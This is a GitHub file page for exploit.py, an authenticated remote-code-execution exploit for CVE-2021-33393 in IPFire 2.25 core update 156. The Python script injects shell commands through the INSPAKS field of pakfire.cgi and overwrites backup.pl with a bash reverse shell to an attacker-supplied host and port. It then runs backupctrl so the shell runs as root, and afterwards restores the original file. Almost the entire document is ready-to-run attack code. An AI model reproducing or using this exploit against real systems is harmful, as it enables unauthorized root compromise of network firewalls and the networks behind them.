-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathexploit.py
More file actions
64 lines (56 loc) · 1.81 KB
/
Copy pathexploit.py
File metadata and controls
64 lines (56 loc) · 1.81 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/python3
# Exploit Title: ipfire 2.25 - core update 156 remote code execution (Authenticated)
# Date: 16/05/2026
# Exploit Author: João Augusto M
# Based on the original exploit by Mücahit Saratar (KaanaryOverFlow)
# Vendor Homepage: https://www.ipfire.org/
# Original: https://github.com/KaanaryOverFlow/ipfire-2-25-auth-rce/blob/main/exploit0.py
# CVE: CVE-2021-33393
# Version: 2.25 - core update 156
import requests as R
import sys
import base64
import warnings
import time
warnings.filterwarnings("ignore")
try:
host = sys.argv[1]
assert host[:4] == "http" and host[-1] != "/"
url = host + "/cgi-bin/pakfire.cgi"
username = sys.argv[2]
password = sys.argv[3]
hp = sys.argv[4].split(":")
lhost = hp[0]
port = hp[1]
except:
print(f"{sys.argv[0]} https://target.com:444 username password lhost:lport")
exit(1)
def run(command):
veri = {
"INSPAKS": f";{command}",
"ACTION": "install",
"x": "10",
"y": "6"
}
token = b"Basic " + base64.b64encode(f"{username}:{password}".encode())
header = {
"Authorization": token,
"Connection": "close",
"Referer": host
}
try:
R.post(url, data=veri, headers=header, verify=False, timeout=2)
except:
pass
print("[*] Fazendo backup do backup.pl original...")
run("cp /var/ipfire/backup/bin/backup.pl /tmp/backup.pl.bak")
print("[*] Escrevendo payload em backup.pl...")
time.sleep(2)
run("echo '#!/bin/bash' > /var/ipfire/backup/bin/backup.pl")
run(f"echo '/bin/bash -i >& /dev/tcp/{lhost}/{port} 0>&1' >> /var/ipfire/backup/bin/backup.pl")
print("[*] Executando backupctrl como root...")
time.sleep(2)
run("/usr/local/bin/backupctrl export")
print("[*] Restaurando backup.pl original...")
time.sleep(2)
run("cp /tmp/backup.pl.bak /var/ipfire/backup/bin/backup.pl")